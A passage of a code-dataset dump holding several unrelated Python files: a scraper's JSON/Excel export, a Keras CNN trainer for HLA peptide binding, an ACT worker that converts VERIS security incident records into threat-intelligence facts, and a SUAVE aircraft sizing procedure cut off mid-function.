metadata.to_excel('metadata.xlsx') # To store metadata into json file as metadata.xlsx\n\n print(\"\\nsaving data as data.xlsx\\n\")\n data_df.to_excel('data.xlsx') # To store data into json file as data.xlsx\n\n\ndef scrape_json():\n print(\"\\nsaving metadata as metadata.json\\n\")\n with open('metadata.json', 'w') as f:\n json.dump(metadata_parsed, f, ensure_ascii=False) # To store metadata into json file as metadata.json\n\n print(\"\\nsaving data as data.json\\n\")\n with open('data.json', 'w') as f:\n json.dump(parsed, f, ensure_ascii=False) # To store data into json file as data.json\n\n\ndef scrape_both():\n scrape_excel()\n scrape_json()\n\n\n#check if the json file is serializable or not\ndef is_jsonable(x):\n try:\n json.dumps(x)\n return \"The data is serialized\" # True for serializable\n except (TypeError, OverflowError):\n return \" Sorry!!! The data is not serialized\" # False for not serializable\n\ndef check_json_serialize():\n print(is_jsonable(parsed),\"For data json\") # Check for data json\n print(is_jsonable(metadata_response),\"For metadata json\") #check for metadata json\n\n ","sub_path":"dummy-data-product/dependencies/scraping/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51604562","text":"\"\"\"\np instapip install\nThis file implements the convolutional neural network to train,\nevaluate, and make inference prediction, generation.\n\"\"\"\n\nimport os\nimport numpy as np\nfrom gensim.models import Word2Vec\nfrom keras import regularizers\nfrom keras.callbacks import EarlyStopping\nfrom keras.layers import Activation, Concatenate, Conv1D, Dense, Dropout, Embedding, Input, Lambda\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom utils import read_data_set, AA_IDX, global_average_pooling\n\ndef train(params, dir_names):\n \"\"\"\n Trains the HLA-CNN model,the input is [batch_size, peptide, vector]\n \"\"\"\n data_set, peptide_n_mer = read_data_set(dir_names)\n # CNN parameters\n batch_size = int(\n np.ceil(len(data_set['X_train']) / 100.0)) # variable batch size depending on number of data points\n epochs = int(params['epochs'])\n nb_filter = int(params['filter_size'])\n filter_length = int(params['filter_length'])\n dropout = float(params['dropout'])\n lr = float(params['lr'])\n\n # load in learned distributed representation HLA-Vec\n hla_vec_obj = Word2Vec.load(os.path.join(dir_names['Vec_embedding'], 'Vec_Object'))\n hla_vec_embed = hla_vec_obj.wv\n embed_shape = hla_vec_embed.syn0.shape\n embedding_weights = np.random.rand(embed_shape[0] + 1, embed_shape[1])\n for key in AA_IDX.keys():\n embedding_weights[AA_IDX[key], :] = hla_vec_embed[key]\n embedded_dim = embed_shape[1]\n\n i = 0\n while True:\n input_data = Input(shape=(None,))\n embedded = Embedding(input_dim=len(AA_IDX) + 1, output_dim=embedded_dim, weights=[embedding_weights],\n input_length=peptide_n_mer, trainable=True, name='embedded')(input_data)\n conv1 = Conv1D(int(nb_filter / 2), filter_length, padding='same', kernel_initializer='glorot_normal',\n name=\"conv1\", kernel_regularizer=regularizers.l1(0.01))(embedded)\n relu1 = LeakyReLU(.3)(conv1)\n dropout1 = Dropout(dropout)(relu1)\n\n conv_out = Conv1D(int(nb_filter), filter_length, padding='same',\n kernel_initializer='glorot_normal', kernel_regularizer=regularizers.l1(0.01),\n name=\"conv_out\")(dropout1)\n relu2 = LeakyReLU(.3)(conv_out)\n\n # modify\n gap1 = Lambda(global_average_pooling, name=\"gap1\")(relu1)\n gap2 = Lambda(global_average_pooling, name=\"gap2\")(relu2)\n weight1 = Dense(1, use_bias=False, kernel_constraint=None, name=\"weight1\")(gap1)\n weight2 = Dense(1, use_bias=False, kernel_constraint=None, name=\"weight2\")(gap2)\n merge = Concatenate(axis=1)([weight1, weight2])\n last_layer = Dense(1, use_bias=False, kernel_constraint=None, name=\"last_layer\")(merge)\n output = Activation('sigmoid')(last_layer)\n model = Model(inputs=input_data, outputs=output)\n model.compile(loss='binary_crossentropy', optimizer=Adam(lr=lr), metrics=['accuracy'])\n model.summary()\n early_stopping = EarlyStopping(monitor='loss', patience=2, verbose=1, mode='auto')\n\n mod = model.fit(data_set['X_train'], data_set['Y_train'], batch_size=batch_size, epochs=epochs, verbose=1,\n callbacks=[early_stopping], shuffle=True,\n validation_data=(data_set['X_test'], data_set['Y_test']))\n mod_loss = mod.history['loss']\n\n # check to make sure optimization didn't diverged\n if ~np.isnan(mod_loss[-1]):\n if not os.path.exists(dir_names['CNN_models']):\n os.makedirs(dir_names['CNN_models'])\n model.save(os.path.join(dir_names['CNN_models'], 'cnn_model_' + str(i) + '.hdf5'))\n\n i += 1\n if i > 4:\n break\n\n\n","sub_path":"MAM/CNN_GAP_MAM.py","file_name":"CNN_GAP_MAM.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"358263783","text":"#!/usr/bin/env python3\n\n'''Veris worker for the ACT platform\n\nCopyright 2019 the ACT project \n\nPermission to use, copy, modify, and/or distribute this software for any\npurpose with or without fee is hereby granted, provided that the above\ncopyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH\nREGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND\nFITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,\nINDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM\nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR\nOTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\nPERFORMANCE OF THIS SOFTWARE.\n'''\n\nimport argparse\nimport csv\nimport datetime\nimport hashlib\nimport io\nimport json\nimport os\nimport re\nimport sqlite3\nimport sys\nimport time\nimport traceback\nimport zipfile\nfrom logging import error, info, warning\nfrom typing import Any, Dict, Optional, Text, Tuple, Union, cast\n\nimport requests\n\nimport act.api\nfrom act.api.helpers import handle_fact\nfrom act.workers.libs import worker\n\nCACHE_DIR = worker.get_cache_dir(\"veris-worker\", create=True)\nVERSION = \"0.1\"\nISO_3166_FILE = \"https://raw.githubusercontent.com/lukes/\" + \\\n \"ISO-3166-Countries-with-Regional-Codes/master/all/all.json\"\n\n\ndef get_cn_map(filename: Text) -> Dict:\n \"\"\"\n Read file with county information (ISO 3166 from filename)\n return map with country code (e.g. \"NO\") as key, and Country\n Name (e.g. \"Norway\" as value)\n \"\"\"\n cn_map = {}\n\n for c_map in json.loads(open(filename, \"r\", encoding=\"utf8\").read()):\n cn_map[c_map[\"alpha-2\"]] = c_map[\"name\"]\n\n return cn_map\n\n\ndef parseargs() -> argparse.ArgumentParser:\n \"\"\" Parse arguments \"\"\"\n parser = worker.parseargs('Shadowserver ASN enrichment')\n parser.add_argument(\n '--country-codes',\n help=\"Should point to file downloaded from {}\".format(ISO_3166_FILE))\n parser.add_argument('--veris-campaign', help='Read mapping of veris campaign from (CSV) file')\n parser.add_argument('--threat-actor-variety', help='Varieties to use as Threat Actors', default=\"Activist, Organized crime, Nation-state\")\n parser.add_argument('--hash-url-matching', help='Download and hash references matching regular expression', default=r'^(.*pdf)$')\n parser.add_argument('--veris-prefix', help='Prefix for incidents and campaign IDs. E.g use \"VCDB\" for Veris Community Database\"')\n parser.add_argument('--veris-url', help='Read veris incidents from URL.')\n parser.add_argument('--veris-file', help='Read veris incidents from File.')\n parser.add_argument('--stdin', action='store_true', help='Read veris incidents on stdin.')\n return parser\n\n\ndef get_db_cache(cache_dir: str) -> sqlite3.Connection:\n \"\"\"\n Open cache and return sqlite3 connection\n Table is created if it does not exists\n \"\"\"\n cache_file = os.path.join(cache_dir, \"cache.sqlite3\")\n conn = sqlite3.connect(cache_file)\n cursor = conn.cursor()\n cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS report_hash (\n url string primary key,\n status_code int,\n sha256 string,\n added int)\n \"\"\")\n cursor.execute(\"CREATE UNIQUE INDEX IF NOT EXISTS report_url on report_hash(url)\")\n\n return conn\n\n\ndef query_cache(cache: sqlite3.Connection, url: Text) -> Tuple[Optional[int], Optional[Text], datetime.datetime]:\n \"\"\" Query cache for a specific url \"\"\"\n cursor = cache.cursor()\n\n res = cursor.execute(\"SELECT * FROM report_hash WHERE url = ?\", [url.strip()]).fetchall()\n\n if not res:\n return (None, None, datetime.datetime.utcfromtimestamp(0))\n\n return (res[0][1], res[0][2], datetime.datetime.utcfromtimestamp(res[0][3]))\n\n\ndef update_cache(cache: sqlite3.Connection, url: Text, status_code: Optional[int], report_hash: Optional[Text]) -> None:\n \"\"\" Add url/hash to cache \"\"\"\n cursor = cache.cursor()\n\n # Check if url exists\n res = cursor.execute(\"SELECT * FROM report_hash WHERE url = ?\", [url.strip()]).fetchall()\n\n if res:\n info(\"Update cache {}, {}, {}\".format(url, status_code, report_hash))\n cursor.execute(\n \"UPDATE report_hash set status_code = ?, sha256 = ?, added = ? where url = ?\",\n [status_code, report_hash, int(time.time()), url])\n else:\n info(\"Insert cache {} -> {}\".format(url, report_hash))\n cursor.execute(\"INSERT INTO report_hash VALUES (?,?,?,?)\", [url, status_code, report_hash, time.time()])\n\n cache.commit()\n\n\ndef url_sha256(config: Dict[Text, Any], url: Text) -> Tuple[Optional[int], Optional[Text]]:\n \"Retrieve URL and return sha256 of content. Returns None if request fails.\"\n\n sha256 = None\n status_code = None\n\n try:\n req = requests.get(url, proxies=config[\"proxies\"], timeout=config[\"http_timeout\"])\n status_code = req.status_code\n if req.status_code == 200:\n sha256 = hashlib.sha256(req.content).hexdigest()\n else:\n info(\"Failed downloading {}: {}\".format(url, req.status_code))\n except requests.exceptions.ReadTimeout:\n info(\"Timeout downloading {}\".format(url))\n except Exception as err: # pylint: disable=broad-except\n info(\"Unknown exception downloading {}: {}\".format(url, err))\n\n return (status_code, sha256)\n\n\ndef handle_reports(config: Dict[Text, Any], incident: Dict[Text, Any], incident_id: Text) -> None:\n \"\"\"\n Extract all references in incident. For each (URL-)reference, check whether we should\n download the content and creaa a sha256 hash digest of it (must match config[\"hash_url_matching\"]).\n The sha256 hash is also cached locally.\n \"\"\"\n\n # Split references by \";\"\n references = [ref.strip() for ref in incident.get(\"reference\", \"\").split(\";\") if ref.strip()]\n\n if references:\n for ref in references:\n if not re.search(config[\"hash_url_matching\"], ref):\n continue\n\n (status_code, report_hash, added) = query_cache(config[\"db_cache\"], ref)\n\n now = datetime.datetime.now()\n\n if report_hash and added > now - datetime.timedelta(days=7):\n info(\"URL in cache (with hash found): {}, {}, {}, {}\".format(ref, report_hash, status_code, time.time()))\n elif status_code == 404 and added > now - datetime.timedelta(days=7):\n info(\"URL in cache (last status was 404): {}, {}, {}, {}\".format(ref, report_hash, status_code, time.time()))\n elif added > now - datetime.timedelta(days=2):\n info(\"URL in cache (Unknown status): {}, {}, {}, {}\".format(ref, report_hash, status_code, time.time()))\n else:\n # Download report and get hash of content\n (status_code, report_hash) = url_sha256(config, ref)\n\n update_cache(config[\"db_cache\"], ref, status_code, report_hash)\n\n if report_hash:\n handle_fact(\n config[\"actapi\"].fact(\"mentions\", \"incident\")\n .source(\"report\", report_hash)\n .destination(\"incident\", incident_id),\n output_format=config[\"output_format\"]\n )\n\n\ndef handle_organizations(config: Dict[Text, Any], incident: Dict[Text, Any], incident_id: Text) -> None:\n \"\"\"\n Create facts:\n * incident -targets-> organization\n * organization -locatedIn-> country\n \"\"\"\n victim = incident.get(\"victim\", {}).get(\"victim_id\")\n\n if not victim:\n return\n\n handle_fact(\n config[\"actapi\"].fact(\"targets\")\n .source(\"incident\", incident_id)\n .destination(\"organization\", victim),\n output_format=config[\"output_format\"]\n )\n\n for country_code in incident.get(\"victim\", {}).get(\"country\", []):\n country = config[\"cn_map\"].get(country_code)\n\n if country:\n handle_fact(\n config[\"actapi\"].fact(\"locatedIn\")\n .source(\"organization\", victim)\n .destination(\"country\", country),\n output_format=config[\"output_format\"]\n )\n\n\ndef handle_threat_actor(config: Dict[Text, Any], incident: Dict[Text, Any], incident_id: Text) -> None:\n \"\"\"\n Creat facts from actor->external, where the variety includes at least on variety specified in config[\"threat_actor_variety\"]\n\n \"\"\"\n\n external_actor = incident.get(\"actor\", {}).get(\"external\", {})\n\n if not external_actor:\n return # No threat actors\n\n # Varieties are \"tags\" on actors and we do not want to include all type of actors\n # Make sure at least one of the varieties are in the list of the configured varieties to include\n if any([variety in config[\"threat_actor_variety\"] for variety in external_actor.get(\"variety\", [])]):\n threat_actors = [ta.strip() for ta in incident.get(\"actor\", {}).get(\"external\", {}).get(\"name\", [])]\n\n for ta in threat_actors:\n handle_fact(\n config[\"actapi\"].fact(\"attributedTo\", \"threatActor\")\n .source(\"incident\", incident_id)\n .destination(\"threatActor\", ta),\n output_format=config[\"output_format\"]\n )\n\n\ndef handle_tool(config: Dict[Text, Any], incident: Dict[Text, Any], incident_id: Text) -> None:\n \"Create content -classifiedAs-> tool, and fact chain from content to incident. \"\n\n # Both \",\" and \";\" are used to separate tools :(\n\n tools = [\n malware.strip().lower()\n for malware in re.split(r';|,', incident.get(\"action\", {}).get(\"malware\", {}).get(\"name\", \"\"))\n if malware]\n\n for tool in tools:\n chain = act.api.fact.fact_chain(\n config[\"actapi\"].fact(\"classifiedAs\")\n .source(\"content\", \"*\")\n .destination(\"tool\", tool),\n config[\"actapi\"].fact(\"observedIn\", \"event\")\n .source(\"content\", \"*\")\n .destination(\"event\", \"*\"),\n config[\"actapi\"].fact(\"attributedTo\", \"incident\")\n .source(\"event\", \"*\")\n .destination(\"incident\", incident_id),\n )\n\n for fact in chain:\n handle_fact(fact, output_format=config[\"output_format\"])\n\n\ndef handle_campaign(config: Dict[Text, Any], incident: Dict[Text, Any], incident_id: Text) -> None:\n \"\"\"\n Create incident -attributedTo-> campaign facts\n If we have a mapping from campaign (UUID) to name, a campaign -name-> will also be created\n \"\"\"\n\n campaign = \"{}-{}\".format(\n config[\"veris_prefix\"],\n incident[\"campaign_id\"]) if incident.get(\"campaign_id\") else None\n\n if not campaign:\n return\n\n handle_fact(\n config[\"actapi\"].fact(\"attributedTo\", \"campaign\")\n .source(\"incident\", incident_id)\n .destination(\"campaign\", campaign),\n output_format=config[\"output_format\"]\n )\n\n name = config[\"campaign_map\"].get(format(campaign))\n\n if name:\n handle_fact(\n config[\"actapi\"].fact(\"name\", name)\n .source(\"campaign\", campaign),\n output_format=config[\"output_format\"]\n )\n\n else:\n warning(\"No name found for campaign {}. Make sure veris-campaign is provided and the ID is included in csv field (without prefix)\".format(campaign))\n\n\ndef handle_incident(config: Dict[Text, Any], incident: Dict[Text, Any]) -> None:\n \"\"\" handle veris incidents\n \"\"\"\n\n incident_id = \"{}-{}\".format(config[\"veris_prefix\"], incident[\"incident_id\"])\n\n handle_reports(config, incident, incident_id)\n handle_organizations(config, incident, incident_id)\n handle_tool(config, incident, incident_id)\n handle_threat_actor(config, incident, incident_id)\n handle_campaign(config, incident, incident_id)\n\n\ndef handle_zip_file(config: Dict[Text, Any], zfile: Union[Text, io.BytesIO]) -> None:\n \"Read incident form all (json) files in zip file\"\n\n # ZipFile accepts both file names (str) and file like objects\n zf = zipfile.ZipFile(zfile, \"r\")\n\n for fileinfo in zf.infolist():\n for incident in json.loads(zf.read(fileinfo).decode('utf-8')):\n handle_incident(config, incident)\n\n\ndef process(config: Dict[Text, Any]) -> None:\n \"Process inicdent from stdin, url or file. URL and File supports zipped files in zip-format.\"\n\n # Read incident from stdin\n if config[\"stdin\"]:\n for incident in sys.stdin.read().split(\"\\n\"):\n handle_incident(config, json.loads(incident))\n\n return\n\n # Download incidents from URL\n if config[\"veris_url\"]:\n req = requests.get(config[\"veris_url\"], proxies=config[\"proxies\"], timeout=config[\"http_timeout\"])\n if config[\"veris_url\"].endswith(\".zip\"):\n handle_zip_file(config, io.BytesIO(req.content))\n else:\n for incident in req.json():\n handle_incident(config, cast(Dict, incident))\n return\n\n # Read incidents from file\n if config[\"veris_file\"]:\n if config[\"veris_file\"].endswith(\".zip\"):\n handle_zip_file(config, config[\"veris_file\"])\n else:\n with open(config[\"veris_file\"]) as f:\n for incident in json.loads(f.read()):\n handle_incident(config, cast(Dict, incident))\n return\n\n error(\"Must specifiy either --stdin, --veris-url or --veris-file\")\n\n\ndef get_campaigns(veris_prefix: Text, filename: Text) -> Optional[Dict[Text, Text]]:\n \"\"\"\n Get mapping from campaign (UUID) to name\n \"\"\"\n with open(filename) as csvfile:\n return {\"{}-{}\".format(veris_prefix, row[0]): row[1] for row in csv.reader(csvfile, delimiter=',')}\n\n\ndef main() -> None:\n \"\"\"main function\"\"\"\n\n # Look for default ini file in \"/etc/actworkers.ini\" and ~/config/actworkers/actworkers.ini\n # (or replace .config with $XDG_CONFIG_DIR if set)\n args = worker.handle_args(parseargs())\n actapi = worker.init_act(args)\n\n if not args.country_codes:\n worker.fatal(\"You must specify --country-codes on command line or in config file\")\n\n if not args.veris_prefix:\n worker.fatal(\"You must specify --veris-prefix\")\n\n if not (args.veris_url or args.veris_file or args.stdin):\n worker.fatal(\"You must specify --veris-url, --veris-file or --stdin\")\n\n args.veris_prefix = args.veris_prefix.upper()\n\n if not os.path.isfile(args.country_codes):\n worker.fatal(\"Country/region file not found at specified location: {}\".format(args.country_codes), 2)\n\n args.threat_actor_variety = [variety.strip() for variety in args.threat_actor_variety.split(\",\")]\n\n # Configuration object that will be passed around to functions\n config = {\n # act API\n \"actapi\": actapi,\n\n # Map of CC -> Country Name\n \"cn_map\": get_cn_map(args.country_codes),\n\n # Map of CC -> Country Name\n \"campaign_map\": get_campaigns(args.veris_prefix, args.veris_campaign) if args.veris_campaign else {},\n\n # Cache of url > sha256\n \"db_cache\": get_db_cache(CACHE_DIR),\n\n \"proxies\": {\n 'http': args.proxy_string,\n 'https': args.proxy_string\n } if args.proxy_string else None,\n\n }\n\n # Add all arguments from args to config\n config.update(vars(args))\n\n process(config)\n\n\ndef main_log_error() -> None:\n \"Main function. Log all exceptions to error\"\n try:\n main()\n except Exception:\n error(\"Unhandled exception: {}\".format(traceback.format_exc()))\n raise\n\n\nif __name__ == '__main__':\n main_log_error()\n","sub_path":"act/workers/veris.py","file_name":"veris.py","file_ext":"py","file_size_in_byte":15558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"170258602","text":"# Procedure.py\n# \n# Created: Mar 2016, M. Vegh\n# Modified: Aug 2017, E. Botero\n\n# ---------------------------------------------------------------------- \n# Imports\n# ---------------------------------------------------------------------- \n\nimport numpy as np\n\nimport SUAVE\nfrom SUAVE.Core import Units, Data\nfrom SUAVE.Analyses.Process import Process\nfrom SUAVE.Methods.Propulsion.turbofan_sizing import turbofan_sizing\nfrom SUAVE.Methods.Geometry.Two_Dimensional.Cross_Section.Propulsion.compute_turbofan_geometry import compute_turbofan_geometry\nfrom SUAVE.Methods.Aerodynamics.Fidelity_Zero.Lift.compute_max_lift_coeff import compute_max_lift_coeff\nfrom SUAVE.Optimization.write_optimization_outputs import write_optimization_outputs\nfrom SUAVE.Methods.Geometry.Two_Dimensional.Planform.wing_planform import wing_planform\n# ---------------------------------------------------------------------- \n# Setup\n# ---------------------------------------------------------------------- \n\ndef setup():\n \n # ------------------------------------------------------------------\n # Analysis Procedure\n # ------------------------------------------------------------------ \n \n # size the base config\n procedure = Process()\n procedure.simple_sizing = simple_sizing\n \n # find the weights\n procedure.weights = weight\n # finalizes the data dependencies\n procedure.finalize = finalize\n\n # calculate field lengths\n procedure.takeoff_field_length = takeoff_field_length\n procedure.landing_field_length = landing_field_length\n\n # performance studies\n procedure.missions = Process()\n procedure.missions.design_mission = design_mission\n\n # post process the results\n procedure.post_process = post_process\n \n return procedure\n\n# ---------------------------------------------------------------------- \n# Target Range Function\n# ---------------------------------------------------------------------- \n\ndef find_target_range(nexus,mission):\n \n segments = mission.segments\n cruise_altitude = mission.segments['climb_5'].altitude_end\n climb_1 = segments['climb_1']\n climb_2 = segments['climb_2']\n climb_3 = segments['climb_3']\n climb_4 = segments['climb_4']\n climb_5 = segments['climb_5']\n \n descent_1 = segments['descent_1']\n descent_2 = segments['descent_2']\n descent_3 = segments['descent_3']\n\n x_climb_1 = climb_1.altitude_end/np.tan(np.arcsin(climb_1.climb_rate/climb_1.air_speed))\n x_climb_2 = (climb_2.altitude_end-climb_1.altitude_end)/np.tan(np.arcsin(climb_2.climb_rate/climb_2.air_speed))\n x_climb_3 = (climb_3.altitude_end-climb_2.altitude_end)/np.tan(np.arcsin(climb_3.climb_rate/climb_3.air_speed))\n x_climb_4 = (climb_4.altitude_end-climb_3.altitude_end)/np.tan(np.arcsin(climb_4.climb_rate/climb_4.air_speed))\n x_climb_5 = (climb_5.altitude_end-climb_4.altitude_end)/np.tan(np.arcsin(climb_5.climb_rate/climb_5.air_speed))\n x_descent_1 = (climb_5.altitude_end-descent_1.altitude_end)/np.tan(np.arcsin(descent_1.descent_rate/descent_1.air_speed))\n x_descent_2 = (descent_1.altitude_end-descent_2.altitude_end)/np.tan(np.arcsin(descent_2.descent_rate/descent_2.air_speed))\n x_descent_3 = (descent_2.altitude_end-descent_3.altitude_end)/np.tan(np.arcsin(descent_3.descent_rate/descent_3.air_speed))\n \n cruise_range = mission.design_range-(x_climb_1+x_climb_2+x_climb_3+x_climb_4+x_climb_5+x_descent_1+x_descent_2+x_descent_3)\n \n segments['cruise'].distance = cruise_range\n \n return nexus\n\n# ---------------------------------------------------------------------- \n# Design Mission\n# ---------------------------------------------------------------------- \ndef design_mission(nexus):\n analyses = nexus.analyses\n mission = nexus.missions.base\n cruise_altitude = check_cruise_altitude(analyses)\n mission.segments['climb_5'].altitude_end = cruise_altitude\n results = nexus.results\n results.base = mission.evaluate()\n \n return nexus\n\n\n# ----------------------------------------------------------------------\n# Check Cruise Altitude\n# ----------------------------------------------------------------------\n\ndef check_cruise_altitude(analyses):\n # ------------------------------------------------------------------\n # Initialize the Mission\n # ------------------------------------------------------------------\n\n mission = SUAVE.Analyses.Mission.Sequential_Segments()\n mission.tag = 'the_dummy_mission'\n\n # airport\n airport = SUAVE.Attributes.Airports.Airport()\n airport.altitude = 0.0 * Units.ft\n airport.delta_isa = 0.0\n airport.atmosphere = SUAVE.Analyses.Atmospheric.US_Standard_1976()\n\n mission.airport = airport\n\n # unpack Segments module\n Segments = SUAVE.Analyses.Mission.Segments\n\n # base segment\n base_segment = Segments.Segment()\n atmosphere = SUAVE.Attributes.Atmospheres.Earth.US_Standard_1976()\n planet = SUAVE.Attributes.Planets.Earth()\n base_segment.state.numerics.number_control_points = 20\n # ------------------------------------------------------------------\n # First Climb Segment: Constant Speed, Constant Rate\n # ------------------------------------------------------------------\n\n segment = Segments.Climb.Constant_EAS_Constant_Rate(base_segment)\n segment.tag = \"climb_dummy\"\n\n # connect vehicle configuration\n segment.analyses.extend(analyses.base)\n\n # define segment attributes\n segment.atmosphere = atmosphere\n segment.planet = planet\n\n segment.altitude_start = 0.0 * Units.ft\n segment.altitude_end = 35000. * Units.ft\n segment.equivalent_air_speed = 250.5 * Units.knots\n segment.climb_rate = 250. * Units['ft/min']\n\n # add to mission\n mission.append_segment(segment)\n\n results = mission.evaluate()\n\n cruise_altitude = 35000.\n for segment in results.segments.values():\n altitude = segment.conditions.freestream.altitude[:, 0] / Units.ft\n eta = segment.conditions.propulsion.throttle[:, 0]\n for i in range(len(altitude)):\n if eta[i] > 1.:\n cruise_altitude = altitude[i - 1]\n elif eta[i] < 1. and i == len(altitude) - 1:\n cruise_altitude = altitude[i]\n\n print ('Cruise altitude: ' + str(int((cruise_altitude+1)/100.)*100.)+' ft')\n cruise_altitude = int(cruise_altitude/100.)*100. * Units.ft\n\n return cruise_altitude\n\n\n# ----------------------------------------------------------------------\n# Sizing\n# ---------------------------------------------------------------------- \n\ndef simple_sizing(nexus):\n configs = nexus.vehicle_configurations\n\n #find conditions\n air_speed = nexus.missions.base.segments['cruise'].air_speed \n altitude = nexus.missions.base.segments['climb_5'].altitude_end\n atmosphere = SUAVE.Analyses.Atmospheric.US_Standard_1976()\n \n freestream = atmosphere.compute_values(altitude)\n\n #now size engine\n mach_number = air_speed/freestream.speed_of_sound\n\n #now add to freestream data object\n freestream.velocity = air_speed\n freestream.mach_number = mach_number\n freestream.gravity = 9.81\n \n conditions = SUAVE.Analyses.Mission.Segments.Conditions.Aerodynamics() #assign conditions in form for propulsor sizing\n conditions.freestream = freestream\n\n HT_volume = 1.42542 * Units.less # E170\n VT_volume = 0.11458 * Units.less # E170\n lht = 14.24 * Units.m\n lvt = 13.54 * Units.m\n for config in configs:\n wing_planform(config.wings.main_wing)\n\n config.wings.horizontal_stabilizer.areas.reference = (HT_volume/lht)*(config.wings.main_wing.areas.reference *\n 3.194)\n config.wings.vertical_stabilizer.areas.reference = (VT_volume/lvt)*(config.wings.main_wing.areas.reference *\n 26.0)\n for wing in config.wings:\n wing_planform(wing)\n wing.areas.wetted = 2.0 * wing.areas.reference\n wing.areas.exposed = 0.8 * wing.areas.wetted\n wing.areas.affected = 0.6 * wing.areas.wetted\n\n turbofan_sizing(config.propulsors['turbofan'], mach_number=mach_number, altitude=altitude)\n compute_turbofan_geometry(config.propulsors['turbofan'], conditions)\n config.propulsors['turbofan'].nacelle_diameter = config.propulsors['turbofan'].nacelle_diameter * 1.1462135\n config.propulsors['turbofan'].engine_length = config.propulsors['turbofan'].engine_length * 1.24868\n config.propulsors['turbofan'].areas.wetted = 1.1*np.pi * (config.propulsors['turbofan'].engine_length *\n config.propulsors['turbofan'].nacelle_diameter)\n\n # ------------------------------------------------------------------\n # Landing Configuration\n # ------------------------------------------------------------------\n landing = nexus.vehicle_configurations.landing\n landing_conditions = Data()\n landing_conditions.freestream = Data()\n\n # landing weight\n landing.mass_properties.landing = 0.863 * config.mass_properties.takeoff\n \n # Landing CL_max\n altitude = nexus.missions.base.segments[-1].altitude_end\n atmosphere = SUAVE.Analyses.Atmospheric.US_Standard_1976()\n freestream_landing = atmosphere.compute_values(altitude)\n\n landing_conditions.freestream.velocity = nexus.missions.base.segments['descent_3'].air_speed\n landing_conditions.freestream.density = freestream_landing.density\n landing_conditions.freestream.dynamic_viscosity = freestream_landing.dynamic_viscosity\n\n CL_max_landing,CDi = compute_max_lift_coeff(landing, landing_conditions)\n landing.maximum_lift_coefficient = CL_max_landing\n \n #Takeoff CL_max\n takeoff = nexus.vehicle_configurations.takeoff\n takeoff_conditions = Data()\n takeoff_conditions.freestream = Data() \n altitude = nexus.missions.base.airport.altitude\n freestream_takeoff = atmosphere.compute_values(altitude)\n \n takeoff_conditions.freestream.velocity = nexus.missions.base.segments.climb_1.air_speed\n takeoff_conditions.freestream.density = freestream_takeoff.density\n takeoff_conditions.freestream.dynamic_viscosity = freestream_takeoff.dynamic_viscosity\n\n max_CL_takeoff, CDi = compute_max_lift_coeff(takeoff, takeoff_conditions)\n takeoff.maximum_lift_coefficient = max_CL_takeoff\n\n #Base config CL_max\n base = nexus.vehicle_configurations.base\n base_conditions = Data()\n base_conditions.freestream = takeoff_conditions.freestream\n\n max_CL_base, CDi = compute_max_lift_coeff(base, base_conditions)\n base.maximum_lift_coefficient = max_CL_base \n \n return nexus\n\n# ---------------------------------------------------------------------- \n# Weights\n# ---------------------------------------------------------------------- \n\ndef weight(nexus):\n vehicle = nexus.vehicle_configurations.base\n BOW = 20736.\n # weight analysis\n weights = nexus.analyses.base.weights.evaluate()\n weights = nexus.analyses.landing.weights.evaluate()\n weights = nexus.analyses.takeoff.weights.evaluate()\n weights = nexus.analyses.short_field_takeoff.weights.evaluate()\n weights = nexus.analyses.cruise.weights.evaluate()\n\n vehicle.mass_properties.breakdown = weights\n\n empty_weight = vehicle.mass_properties.operating_empty\n passenger_weight = vehicle.passenger_weights.mass_properties.mass \n\n delta = BOW - empty_weight\n vehicle.mass_properties.max_takeoff = 37200. - delta\n vehicle.mass_properties.takeoff = vehicle.mass_properties.max_takeoff\n print ('MTOW: '+str('%5.1f' % vehicle.mass_properties.max_takeoff)+' kg, BOW: '+str('%5.1f' % empty_weight)+' kg')\n for config in nexus.vehicle_configurations:\n config.mass_properties.zero_fuel_center_of_gravity = vehicle.mass_properties.zero_fuel_center_of_gravity\n config.fuel = vehicle.fuel\n \n return nexus\n# ----------------------------------------------------------------------\n# Takeoff Field Length Evaluation\n# ----------------------------------------------------------------------\n\ndef takeoff_field_length(nexus):\n\n # import tofl analysis module\n estimate_tofl = SUAVE.Methods.Performance.estimate_take_off_field_length\n\n # unpack data\n results = nexus.results\n summary = nexus.summary\n analyses = nexus.analyses\n missions = nexus.missions\n config = nexus.vehicle_configurations.takeoff\n vehicle = nexus.vehicle_configurations.base\n\n # defining required data for tofl evaluation\n config.mass_properties.takeoff = vehicle.mass_properties.takeoff\n takeoff_airport = missions.base.airport\n\n takeoff_field_length, second_segment_climb_gradient_takeoff = estimate_tofl(config, analyses, takeoff_airport, 1)\n\n print ('TOFL: '+str('%5.1f' % takeoff_field_length)+' m, Second Segment Climb Gradient: ' +\n str('%1.5f' % second_segment_climb_gradient_takeoff))\n\n # pack results\n summary.takeoff_field_length = takeoff_field_length\n summary.second_segment_climb_gradient_takeoff = second_segment_climb_gradient_takeoff\n\n\n return nexus\n\n# ----------------------------------------------------------------------\n# landing Field Length Evaluation\n# ----------------------------------------------------------------------\n\ndef landing_field_length(nexus):\n\n # import tofl analysis module\n estimate_landing = SUAVE.Methods.Performance.estimate_landing_field_length\n\n # unpack data\n results = nexus.results\n summary = nexus.summary\n analyses = nexus.analyses\n missions = nexus.missions\n config = nexus.vehicle_configurations.landing\n\n # defining required data for tofl evaluation\n landing_airport = missions.base.airport\n ref_weight = 